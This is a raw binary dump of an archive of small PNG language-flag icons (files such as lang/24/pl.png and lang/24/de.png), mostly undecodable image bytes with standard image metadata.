IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�Ԗ=�\U��ޛ��~%�M@H�F��DL
Q��!�6B�����""���AEnC�1��VB�$�.������̛y�~�ɺI����{~�����*�3�9n;@Ԁ��v����w�[�|�c6C�Y�X�d�S$�����)�cu�UA֯A+a�Ŋ�G�@o!g���h̰�h<�i>H�-��qm(H� ߕ�nc
�=��C�h�O��д�%�*�����u4�td�M�D��:%v�G�b
T��|�S��(�[�sS߄��Zu�
bQ0�F�����*�h%��
�Pb/�'�y������(�jS��>`b�hQ�����B��2��Ӱ�e���1
��J�YO2Y9��#L��4�7B/�}b�?l�oX}�Oy�����`����Ѿ��N
����.!��
@�P��Vq�{�C�	:�A���
L���w��L�}�Q�� Y�� �b6)f>���~pp@�^#�=�#�%CX���J�H�v)v[N2��H2vK�L+4�����Wn��"&�F0غ�L	���h�X������vFd�b&�AR�"�|�Ek_U;������BǠ�B��������+��z"��(�5b2I�lGB�U6+��b?A`B�(LaZ�՗k�VH
k�g�nG�㜰�����`Z	��l�����{�=�"f2��>�=��IK��;��"�E��i���̝�lv�0B~=G͡i���#!��Ď��ql?�1r�HN!�d;=�}�)�H�hFXV������]�E$*��x�u����N��dXz-g\sD���{�E�ȵ#9�w���5f�(��WDԹ�����Ǡ���[�d�h
�TĎݒ$[#�P�:Z�I�շ�F̼YR{XY9�	��W{��1�i��hW�!��)�C2��t�x��\��VXyK�*���h|P�S8&�;��[��t���_�|�]�0<P��W��L�ÙIEND�B`�lang/24/su.png000064400000001263151721413460007055 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F9IDATx�Ԗ�kTA��޻�d�(1j���I!K�����B��VP�+�¿@�2"�"V�	H�E�-qQ|$��{3s�b�+Zd�M��g.��>ΜQ�963rlrl:�<��=����J�o\Z>���@l��ޑ���g326�Ļ��b�\��"��(z��o%|R�����&G�Vp��)P)�s�}���e���rg���b	IQ��C�|�qj�����C2��q�@j0��$���̌X,���\���k�'��oc��n�LH`�_q�����8gFO0R(w��������3��)x��5�o�L��+�@D~3��P�-I�??y5͋�/�R9���k�)5���T?�%Az��`*{`"Z:d%
��*�������1���p�֮rm�-�Y���r�"2�ɝ�\���_i1 �&U�Ncj��o�s��]/�J����X�S�r��O�|���R��uM�Z��>�x~1B��,�����i��s�j�hj>��8P��E��Z�
���K��0��
({�m=.�|�&Z_&W����_��q�AO�FIEND�B`�lang/24/iw.png000064400000001426151721413460007046 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엿Oa�?��J�2�e����Eb��0��au2q�ſ@t11&0801�:���8�1�(H�U�C����}��#��.>�ݽ�������Zk)
���Ż�"��	Ĵ�ن|�m��@��@�ҭy.����qк��Р�C
Q1'�,�Ėޕ0Eu�6�x�q l(����,����\9� �ǚ}pvH�z
�U
���/��8����Z��Q���C*���X�A�s�:�p�-��K�"O*��V.��˓LeU�jr����_`��4EL�3߉����K��9ۥ-�޵�FM.0ket��:ڢt�F�=����W�`��7�:k2^�F�8�t1Í�^"!�H���X/��'"���]�6lGb��F4���]�#%PkS2��ʺ��P���Ž���E���[6��5�*�4K!ľ�5Ssi��.+_�I-m�Z��廯�=�Nv�aj.���0��+@�uݴi������m0�f��{Ƈ���9X*{�`�P��RU��&Fz�B�6^iӬ������s��>���L���cB��>���aױ�Y���J�q'Th�i���G܊�t�u	˲�ߒ�f5�0��²,_��b�8��>7��kQ<4�~Jȉ���F�9ک���CtIEND�B`�lang/24/pl.png000064400000000574151721413460007045 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��=j1F�ff�f r��&��E��2�@�[�R̀'S,lc7Vcd~�,�I��
4�`�엱�9p�����&�7{�s���%��l߫�t�0�?��?��R�]w;�ӱD���ڐ)�)P%S��
���$Ջ�D�@���0@�en���u
�3��+Pu��mr�1롊
9<�;�`VS
�	�`+��5G`8�@���|W}����</�c�6���"J�
���X�����w#�x1IEND�B`�lang/24/sr.png000064400000001761151721413460007055 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FwIDATx���k�E�?3﻾��ƴ)�1?j[V�*�^")EE��PA�����੗��/z�Eăk�n��JPYi�l���3�x�&�m��Mqs�s�w杙�3ߙg~(�{i�=�{
���,�����Ͻ���g�Z�з���ZSxf�����e�!0�K�jp��f�I�H��t�wwUTG[��w��C�$��}$n�Z�x
xyԄ����F/q�e�ރ�,�Ho�L�������ۏ���߻��v_�v`���E����c��`�� ��4��$�Jz��<��P�X$�(�Z;j�}���&��
đ�ב/�-w��ނ_�t��ӌ�/ٖ��+ߑ_�Q_F�!(�z��ZX#"��{�_ؗcU'�����FJ��[�ud���D���Kϣ�4��(�x������;`Tw��@�(��2��@f�z���v�~�����1�{_�fO#��Ëx�o�y�d=+�!3�	`�6S�L�N��a��O�{�5ܥ
�:�w^�;9��� ��=���kݭ@��nPuhE�����b-�t���О���� �k����X��֠No�м\�\�0X:�3����k��ڶm�VH�-k�9�m:�ˋ���#�h\,cE��q�>��8) 2�>�&�X��m�gտ~�0�5�0�}k!+�A�R]}	qO�df3�&�$q;Ycn��O{�ڻO�zd��R��o�p�Ӟ/\p��$I0���Λ��co~���X9�K
n.`�(�:��ۈ�G�dEWn����r�"?����]��(�X,N��4�3l��]:�:�۪�;M��e]{�8Y�+"�j���m��8p��",�&l�}����8�k������IEND�B`�lang/24/si.png000064400000001711151721413460007037 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FOIDATx�Ԗ�oU�?o���' �`� �� ��!*D�������EttHTDt		
��B#��1�۹��[��{3C��p$��I#m��3��{of��q�+�ב� =��%��m���Z`��G��Fn������OV��Cvi/
ٺ��������#�:N��`6�@��G9�.Ā�]���T��s�پh0���#��f�$f��W��j$j��<�+�hΡ�a���;��2�gn�1Ĝ� @�0f�r<��+�jJ��Pz��G�}9�\5\����3� �����\���)h*���bV6�i���8��8�4"�7�z7!�¨��U��Ӑ��<�P��M��1&~��낼.���Ҽ�sH3��<��t�����r�R��q���
��I���h 9~Pi�A�)��B��ɘ$1��0��EHk�~`8�0�
dLop���뷀M�^pYDݍ�9-�y-E�(�co�WH�����)>�Q]��	b
��b�|W��r���G����ᚑ,8����@��*n����`�P�h��Z`�tw�~5���_gߋYy+��0��\cL���j@0U~Tz���|��q�#}��w
��v`z��l���Q��H�h-�}Ɛ�P�HL8�:��v��>a��B��0�-̝m���|y i���E���kJJ�]���-n;�__�×����dǣ[d&�lց��N����灩٩G W?�g�W�/��vrr�Ʊ
�6���b6nZCS�����t`�x�ܜc���SX���<p����D����Vj�����gG���,IEND�B`�lang/24/my.png000064400000003361151721413460007054 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:ABEB485C918211E0A87AD1065C98595B" xmpMM:InstanceID="xmp.iid:ABEB485B918211E0A87AD1065C98595B" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D0CDDED3B590E0118994FE9D01F34E2B" stRef:documentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
80e�IDATx��U;oA����?�(�!��� � D�_D�
i���HE��?)(h)�&�@Q,$� ���ؖ����]��آ��4�jof���o���,`�i���slNZ���l�����Lh�u�9ӟ~��u��hKI������P{^�"-�f�$�ʲ�W��%@k/��q�AA��޸̦��[Z�3�
��_��
��]J��Ȇ�n��5�d�vy�g�NQ�f���Q|���k@�.��HڽE��0����t�x����r�hV`���+
ަK��đKazd�H`2��o���9��2,�����#��da1��i�Z@���6
����G�;��n��Y̒�`u��t&+�,o=��%�[5G�6�ɖǠlh\�iz��6,n,���6���cq��"��[�s7 ��X`�0�z>��@I�x����KV�Ȉ0�|�\Fi��υ3
b38�zF=�&�v?1P$�����zH��W�*5ا�迂��+�k�~��6�ܹ���$joނ������D�!K��>mb��o@��PfL�����M�D���c��A�\4]�2�b��E���i8�@v�נ~f���}���l�<o)�e����Dp��_�Jpm�)r�4��ρ��tz>|i���.����}�
0`oxwkIEND�B`�lang/24/te.png000064400000001121151721413460007027 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�lang/24/ca.png000064400000000741151721413460007011 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<�IDATx��V=O�@}���GKS�V������2�t�0331�/ ~�c�I�i���n)��܁���<����(k-�yl�l�@��d>YS;#K��_�&P
�o�L�z������/��j1�kM�Jaf1�]�Tq����{3^��~)l�hͮ��]O��L�Z� �$��B`�SlN�\�@����A��PSF&����1�lN�q�$B%r`��"�݌�$��	̱LI��R��g�,(rB]�W�.��GeҠ�F�5k�[#C�������n�DVKğ��Q��d(ˎ�!��.z:�Q�Z2�i��ak���E ��%[̢5A�7�V�ݸ����R�w�?FƑ�l��+��Q�ʍ��<<���U|	0����(�¯IEND�B`�lang/24/sn.png000064400000001503151721413460007043 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖKlLa��}�CG;C��&
-*bS�Dh����6b��!�Xh�"�4*Ҏ��x$�J��4�h;35�;����L	Z�gs����|�s��J)&34&9& ��綁455��<�c�(��i�	!�m<2����r�/%����)|s��8�?��� K�mBRI�ps����#n�4M���s&�(uM��/����iZZo�=}H��ZV����M��1��7�R�n׽
��T�ӹ� ��5��/��Yk5��ِ� �Rh�]���6��e��_ŒM�i�t�]K�n�x��Fא�3�Z[q����D	��FjV��z���
kx�bu'N���k�'�e` ڻp�7���V���.bi����t
Ϟ�Xe%�Hdl��o 9�R�X������^R�A����b�G��4��ioo�����"�%l|>��/��/��������x��
1vWy�R�u���[3q���\�F�������?^�v�����@�]��������་G�|m'���y�#"���1��
2�¼z���ۺ��@��]8h�Q
�#�՟���S�*���6�7�'�r>�neO�a�^���4�eٹ	���7��?C߲�Y!�Q��~�H~gw��r��@p�NБ�h��uM`8�%��Wŏ�d'�GxC�IEND�B`�lang/24/en-ca.png000064400000001513151721413460007407 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�kTW�?�����L��$6j����E��Z�	�dUD�Fm7�.W�Ѕ�F$-M�P�dQ�n*J:F�$�If�ͻ���"3�1Q�$/\8p��=�{ιFU9�p�� R ��-�E@����
��$I�:���;��z����~�$_�y*&L�~u��_7�r�rw![^���ȋ�y��Z�*Ƙ=�g�!gfv���(��{Ej���]���>]�A��ǟ� 1�R6�e�m�Ƌ�w:h��7�yy�&�ڄ("��|}��N�]=�t�N�[�^�X��cdm�`j� I���ЩS �hNE�E������U8�f�J��?��w��
��NO�=@�'>�!��w��Mx�$�˗�v� w�ܖ�Z����Ŧpv��	����_�0QX�n�_��ǐ�Dss�;� ₩�s��&��e������o�&j|��t�ͧe��5��T��`�/f|�4s����td�&R��1y�
��D�3#X� �Cp8���޾E��!��$��9�/���Ll�)���j�=�ewT9�ݷD'O�V��Ĥ�N�U�U�b���
��M����l�5�h��c�`<~4���w2��c��Z�	Ze�ށ*���[Z�gon,��2��hV���eTkܡ��w���$�,Ø��0�pd�NXv�d�}��W�j�ӄY֕uIEND�B`�lang/24/tl.png000064400000001704151721413460007045 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FJIDATx��OhTG�?3�����U�Gh�	A�-�`���֛ )���E)�*[��*�K@�R̡�4E�� �ƨ(mi!
˒��M��{ofzx/q]b(�Mr�������~3�Z�F�d��9�����i�:��ˍ��#�D��	��������v�nz���:��
������m������Ç�$��M����:��B<���ϩ][?��}�$�]�K�Zرc3}}�x�&SS��nbM��TB����l����6.�db�o'��Q��u��ԙ�8~� CC㌎�A))���d]�1�Q=�C:�2<|!d��)T�+D}��Eo��d��T
I&݆�}@0j'�0>���$��p��U
��Dc��Z?C��=	,�����{��ο�'�y�`
'�iɛ�+�ŹUm	|]����ވ��*���.�n^�+����Ʈ�]u��QJ��
�0y��x�ltv�L���p��/���?� 3�lY��"���}�
�
P�@uE��o1��:��i@�0�р�!�� �8����hLu>��ⱏ	�Dx-��
�'Ƙ(�$zc���&;!�I��/?�L��-X��5NX�A�4��Y�g��p�{�Na+D:
ZӌD`Õb����g�u�$C�R�^	��>�O?��or�L�\��>hS�t8�!�.L�L�o�ʵ1��J�Ka�H]�ꗄ��3���?��l��f�%��jh���K��	��ȗ_lrȗ9����u��>"����5���ilv/��L��M��Ӫ@Y<�n4��OV���L�IEND�B`�lang/24/co.png000064400000001375151721413460007033 0ustar00�PNG


IHDR�w=�sRGB���gAMA���a	pHYs���f��tEXtTitleFrance - Corsica+U�PtEXtAuthorPatricia Fidi3M�9tEXtSoftwarepaint.net 4.0.12Ck�+IDATHK��Oh�qǍ��()'q��f��`���a7'%K��\�A���@Nk��h�QSk#��������1�{՛OO��y?O��+�b�3(��A!E~�b>�s���`�Z!�l6C.�C�T��p �Lb�^�;oooxxx�g���QĔV��t:E.�����&�	��
�A�R���
\.�b1��n��P( ������F���� ����w��e�L&H��R�t�l6���|>$	��m��c�P��_�x�v���Ox
�bI�*�
6�
�L�H�`�T
���0����X,��f\�6L���{H$8�N�d��nu:���p~~��O�)�J���^����NNN��!g�B�b��N����G.s�A�Z���ю��,����~^__��eo�4 o�t�*�_��.���t:M'a���P(�,��������o�	����x<t���j�b8��j���qY��lryy�eb0�\.�ӌF�t>�2 ��nZ\��c4�X�VC6��g>�6 K�����1�S1�B�R̠p��@�>‡]IEND�B`�lang/24/fa.png000064400000001116151721413460007011 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�nA�{�G 6�H��#(�O/���B�� !A�(���!Q0(Ɖ�`�
ls1��Ź`�����|s3�FUY�e��VN`��0r@�g?lfJ�tr�e������hd�p��͓y��e��5�}�@�.I§��x8W�=�O���@$80��C��DQL�(��N��}E�L�(�0�c`}-�[jf
\
!�8�*7��|�6���B�#y�_s"R,�{0�?~"OB�~��ت�3����E��1x��p�'IDR`�q�W��N0g ���w0��?#�cT�Ϡ��mt8����d��%�K�s�b;���"�l���t���ں���\��E�vo�a]=:�g�5[[�A�:��l��{݈"�
�6ѹ�גn��^�KB� �J�,'[?SϠVES����Vq���+@�f�>�7�����,c�߿*~
w%�G�SIEND�B`�lang/24/bs.png000064400000001757151721413460007042 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FuIDATx�Ԗ[h\U��sI2dJ�Jj��TjEQj���6i�ސB�CA� �Zh�J
̓i��*^h�}ꓨPML��2i��Er�ə��9gﵷ��IiCɃ~�~�k�����۱ֲ��Ʊ��@�*נּ��z�\vߞ���ql�����}�jCJ>��뀱������t:�_���m���'��ǟ��4���lk��D��q,�up �~�4��G��T����4�q9{���gy�	$�ʊ�r�:�8��]цB,
O��55>mo�dK�FN}��K��ǫ΃-�)�)�q����V��D�/����j:��c�3Y�	����(
ٽ3��U+���u�S�T@+!�	�!�C�\�K��{���9��o�w���}�$�a:��tm� W"�+-�i�цԕz��H��I�������J�oN�K>ץ�Zp\t��MGB.�+#ȇ̕b������ıp�s<�c3G�8{�?16���c�+<К�X�\���4P��I��7��=�È�5 �8_��*T/��s,�-��,1���� �T�.d�eb2�W��Cw+{Z��Ϛ8yzU�[F�z��b<��k������
��Β��nS-G:v����.Va�b����R��Ř�Z��1:���.���Bw+�{����&�wn�Oĸ���%������D\��ɀ��'NM#	�H����'m���C�A�[�� "cV�5�aj��+/�f.[��o��F�?��p�тD�\���77�,�lp�c2�,�wޕ��7��I�k@W4�R"8R��?�
9p�
[6�q��������+��E����
lX�'d_��E�V149��_���"��^�IEND�B`�lang/24/am.png000064400000001365151721413460007026 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F{IDATx�Ԗ;OTA�s����%�H�BD�ࣀ����X�-��hL��V�D(L0@0BCB���º�.�wf��]�e�n�IN�dr�<�s�g�Z)-��P�āH�}�������uTӳ�|��$��<�T�3�KI�5L@��)' ���=*�Xc��hk���B��r���4��s]��� @�pX(6<��<̾�����1�ƶ�"d)��d/�rX���������4y�s������ہ.�?	�T�M���F�+],L]��S��`q����N�n��٫K/k�2�t`�A�Fሉ�N��ח�����[}?�D�����G�o�Z]��X
vlDR ��af����]���&HD�|�~���� �`bUal�bTD�8�"NB�Q"£�UL�29�MG[��D�ɹnL����`�48�(� o��B�d�9���M^L�n�&���W��<�ՠ�"m<��&��Ԏn����E��KXw������d�&J��\�@Tn�5e��4���oF3� ��C^�%��R]Y�XS���:N!��
�q��]�c[���D����$��L:�R�a��hCJ�V�7�ځ+@G��'/Z��&�
���7ݰ6%S��IEND�B`�lang/24/hy.png000064400000001001151721413460007034 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�nA���;��Ҥ@B�D�3 ^�.H�E
�"M���!�s�7�g�
��u�&Ҹ�4��+�3�ܿ1I���10,�;�����:��*~�7���0�����E��n�&�3l6�l�$̌]u�����m��/�g�pw��l��6=B���:l��C�J	��9��-�"�(�rG�e�\0�U�s�<y|�����5�z��}Z�^�\f�؋ �̬~d�X��^�/Q��_�5�2͗c�G�G���"{���S�w)e\�"pwR_��Oל�6�2n4�N�?Z��@^fN�Q�I�J�
�]>�2}Z�]��r�$+g�F�e@x�FE�g��|�}
8��;~�6��N��H���W��xo�mw�<`IEND�B`�lang/24/vi.png000064400000001462151721413460007045 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��=kQ��33;��čA;E�*�����*��^�,{��X�?�N�BT�b%��1������X̮�]w�l3ir`��sw�s��wDU9Ȉ8�8 ��Xgx�H��?67w�k�/©�O��I�x�r���_�4 �Т �Z0��H9N�Td|�4O�wb^�l��Y�s�1�1�T�Ơ%%���^����g�e@!t�$h4������y1���&	87�=�n��J����U:����+���y^�E
H�vA@�Z��
E1��ә)BI��C˫q:�Cz6`>F�=I!�e6|0�j-t:�j�jQ�,\r��0H���\i��;9���h_��$���1����Ρ���g��p9t�A����3�`5�Ue��s�����w`-DѸ\�����~\W��5,]+�:�3~=XD}��
㕕=��x!�/���
2>�m��PM�ޗ9�۱:W
��%���轎齉�߮���3$��N�#Q��麧qβ�p�?�3VoVo�������;apUE+,lX�o.��lP*v���좥ؒJ~��9H��;����̇��^&d���~�\�	�a�(��1�2��}oZsF>��=����@PEj���V Z^�
b�`�բ�(�pXN�|,�	|��7��`�3
�-��
�wţ�)cz�gIEND�B`�lang/24/ru.png000064400000000747151721413460007062 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FmIDATx��N�0�?g0�BH<7�<G^�'ހ�@�eMlsXG�1&&��2_�����N����ti��m @�cNS`Z����׋�`�aF�NW6؝�@p}s���>ӔeуA��{�D3�e��t1��V5W�i=[��9U� %cRF>ka~K��"Ӓ���f�XU[���D���mU
�2�ƤLD���F��6��nX&q�nD�V	��fy\�ۛ�N �8,f��>�O��Մ/�W���{D	\�L�
�t����'WMMLm��2*d�O\�u&�?6�-I!�Z�A7ے�(f-r��0�+�7j��-�5\�6���2K�'�QjQzԁ8�c��v
�5����g���IEND�B`�lang/24/kn.png000064400000001121151721413460007027 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�lang/24/lb.png000064400000000652151721413460007024 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F0IDATx�ԖAN1E���P1��	�9{N���q�!�Q	��:�&�Y�dJ�� �o9�w��Ǧ1��'�S�*�����n��e2)~��LJS4��뫢����^S���\`f���D`+�����1�
�=���.[�m��������6�ηaU����h�X��-�"�XLC]��+�b�TUu逬WQdN�kP)d��`�%�7�OP7,ױyS{\h7	�b��DM�<@T�h!���%�[���8�\)H��!E#}-Ƙ7A�p�&�^�D;�r�|���_��(��.�w.IEND�B`�lang/24/ku.png000064400000001223151721413460007041 0ustar00�PNG


IHDR�w=�sRGB���gAMA���a	pHYs���f��tEXtSoftwarepaint.net 4.0.12Ck�IDATHK�S�OQ�` 1!(��.�8x���O��Í!�D��ŃMH�.�T-M�i����Vk-�
�P ����}��f�[�d�%�Nv��|3�fZJ��Oj�~R���8ȶ��M�8��߸��wp�GY�0�}�Ϲ�*�{��$�u�Y�_�2��)g�m��7��4�c�l�cN�b��, A3���hu�|�y��
��%������9�=�ҒҪ���>v��.43r�e8)���0W�'Z�
_s�@��@�	n��N��	P\}�%�@�/����A��_�0d��0WP-qv�i�>��+�d���:_lؚ�<�:����;|�	��Ww����JZ�f�>x������y��`\jG��-�\�e��Kj�B]�މלy�7<f�脹��W�&S��,(=Z����l/[ӀY@�B��ZV�v��(�&M��Ce
p�@И��?�ג��e����
P��z���Z���:����8�{�|�b�IEND�B`�lang/24/uk.png000064400000001076151721413460007047 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��n�0@��)+e�w���G�ȇ�O|w�!��$ڒn�Ğq���-�{�\Ǔ�y����sHi8�<�Unk�C<y��ӏ�H]Ӌ���X�F8}u���,~�??{�S��c����`��dΠ������PF��]Q\~[�=}��Q
`�����V1I��Z�h�uTn*��Q}�jl���BC�\0$s�~d3�J��w�:]����Ð{��Xm�����>�g*A��Rt����t��<�� �ӥD4�b�15� ���k�|��b���d���޴n	����.p�^��f�&�0[(�ȎԶ/M�*/�t�����H�)��������H��ca�_L��d�3ׄ�zO����f���0�r\��z@��gբ4�h*��-�rY��,�Np�ۚ2�<\N
�k�y
��IEND�B`�lang/24/zu.png000064400000001740151721413460007064 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FfIDATx�Ԗ]hU���wfw���h�I+%aiQJ�i��RQL�񥤶 ��P�`ł� ��-��}|}
�`��F���"%��֍�Zk�;�����ܹ>즫B-Ƀ.���{�9��s�5��,�Y`&`����w<��$���[1� ��fp�A�yE����6H	%���M
"�d~��[�[w��8�WE`�'�c�)0�[�S�N�qЦ�������^��H�~����t�d��h��� ڲ�H��>Wgk_��]�Z��zU����&x��Lݳ���n�Ƚ��U���n��6� ���f�Ŏ��ڗ�e�
��邏�}|���8�-�
�^�5q<�.;�������/�_5�彽�gr�K�*��q�/���
������7������ytuu�0��===g:;;)�J���		�&�F4���'��]�0���d���Y�Ya�aH�\�q������L��P�s)��/��Rq`v[��y��2v2iI��T��t+�h^@�v��i����!J)�o0x���%��Sh���H�_��,���(

�61of��î�G�ã!$�+��!C�1x��A�RR��X�ƚ R��\o��p��S����:�t���rM����p�B���w�R�R-^;d0��S�A��E��*�cx�&>�}�����sam�����1�U���ƕT
������H߳������2�U�hME-�ǟ���$e$��16�;��̿�g���?J::2���i
J�K� 0�� ���}�=������;H,K�y��X\d�ᔁ�َ�K�.��@�߿*�.s�b���IEND�B`�lang/24/de.png000064400000001132151721413460007011 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��Kn�0���d{��H�"��A/a����@�Sh
K-�1]����"@�MfC��#��p(��=�pg{�V��ihK�q��(���c��v�K`m�a��d���Xy�iۖ�ဦs����Hj���a/M�r�Iu2�<=�i�`U���r:������9J��Z��Y��%]��{꺦i�,EQ�TUu�@����@���Ed�_�����&�	>�����U���
��ҧ> �o�x�u�P��#zv����:N���$Ӻq)�7ЀzU�&���-�,{�#�
�X,(֏=@��B�tB7<�U4�UԻ�D2�z�[	��k`���U2{Ռ���6��o:�墁R>��z#��-���;�a��1@��hB���s�P����y^}˼:�I�g/�`2�^BT�y���i� �3���9-�|��&x�ʜ���=N�
�k+��[/IEND�B`�lang/24/id.png000064400000000752151721413460007024 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FpIDATx�엿N�@�?����JH���@����T�LHT�I�\�l�6M���֋#����vtbf�i	=�	@�0�}L@����oD�/����U
�%I�xz���M>�)0��9�gF3�"@wLEdC�k���vu�x����-�(W�}��<s ��+J�<)��Zq�~���[��r%��	�!����`�[hU�y�-�Q�+�9�>��sl���U�����n��X��=�eXY���؈t�:q�m���i�{��&y�UU��ԛW�;3���#�Ovm�(�P����y�!�T���x{��1lR �*�鴏=����E�ޥ�\�>���\N�Ӿ~P_�M*'��IEND�B`�lang/24/no.png000064400000001347151721413460007045 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FmIDATx��?kA���3&9$J�
bag#B@��"_���g�l�i��J�,-,bi*�<��۽ݙy�b�ݽ�{����53��潙7o��r�p�r`�`�h�)HC`���׿�q�g����~���3��p�����a�O��l<Z/���7I��
��E���)rx���1y[����r����:���q�czA��X�����Ѩ�:�\��4=��u4B���H� I�h��*�6�F�t���Ρq��L:Ll��4��:�G�[�j��F@��k�Ǎ�Q\�,�P���J48y�HU�ƶ��c���k��ؚ־}��|g%�ڗ�!���w(��Tv77�δn�A��<�8�:a�	z˗�����ƘV���7y>��zfU%�{!�Ν��4E�;�`}o�*��Z�u��wB�ۭB�#Ti����,�Gl-�u(��L�5����x�tok�P���p��6��IN,���'�AޏH^��U�3V�⥪	�H��ϥ4��D3GS�_C�=,-5._�TU5-��!�
�Џ�
V�}��C��~��4O2�
�
<�͹,?~��O�\��������[�;^Y�IEND�B`�lang/24/ceb.png000064400000001320151721413460007151 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FVIDATx�ԖOHQ�?o�s��.�(A:$ADС��!(�.ٱ��v:��N
���H�C$�$a��a����fm[���y��86�j�/���w~���k-;	�Ǝ@)��ű�S@�R�������R�e�ʕ��gV9�����<����Y(�������#LL�aq��R*���^�6:��#�O�!@ŒA�����I��^����܍[��J�6��`�Z�w4(�N1>�����m�(%�f	�.ߒN��t��B�ry)%R6�"� ƘH����8CC��fS��L���U��F����<8�w�,8�˹���7�x�9^����Nd@8��V�|g/8� �
z۾�h�a7~ʥ;^�f��B�>���-�Y�Û�a��0֘�P��`S��!)�� ��z������%���Mb��
���"�>cX/��[��+#2i��i~N��_t`�uj�k�O��"�n%x��1�	�`]���U�w��s���cH&Ę�O�R�4�Y����	�`tւ
��(�?˲r���Dڅ�Z�<A@�o��|>Ŏ����Ѐ/�������F`�G�IEND�B`�lang/24/so.png000064400000001326151721413460007047 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F\IDATx�Ԗ�jA����%�h���
Q��M@\��W.|��-\�ѝэ��H�7�` �f$Ę!�3��:�Ť'=���34�T�����9U���2L�ن`T�Ҁ�΀�ƞ<[�c����F�����`�8��o�{��!
YT�f@Q=�4���O��߹ժ�(�=����,��~�%�)g���
���4�Gҗ}��d��u����\�t�DOD"I8LC��G�f­�1���}�A���=�ØV@m���@.���Zőe�w��g(�,g����0�D����bA�I����@��xsf�;�'����`xtc���6o�7�"�SLBG����A3�pRU��_��nƒ��m9J����
�~bl�Lͪ`���"�@AD;��ś/k�l����zn5
J׼(B�B!��vB;�a��Y�]:��O�dA�w�
3S��hP���E�XE!�����
�5��Z���-Pec���#,�7z�)&9�b�7���;�Yd���[ܦ\�xgz��|'��S��{T�����[���Db�NUmo�5U%ʉDYB��F��0L�����w�J.�-���oUPS�<�]�IEND�B`�lang/24/pt-br.png000064400000002133151721413460007447 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖKl[U��s�ul'N�$���q��(
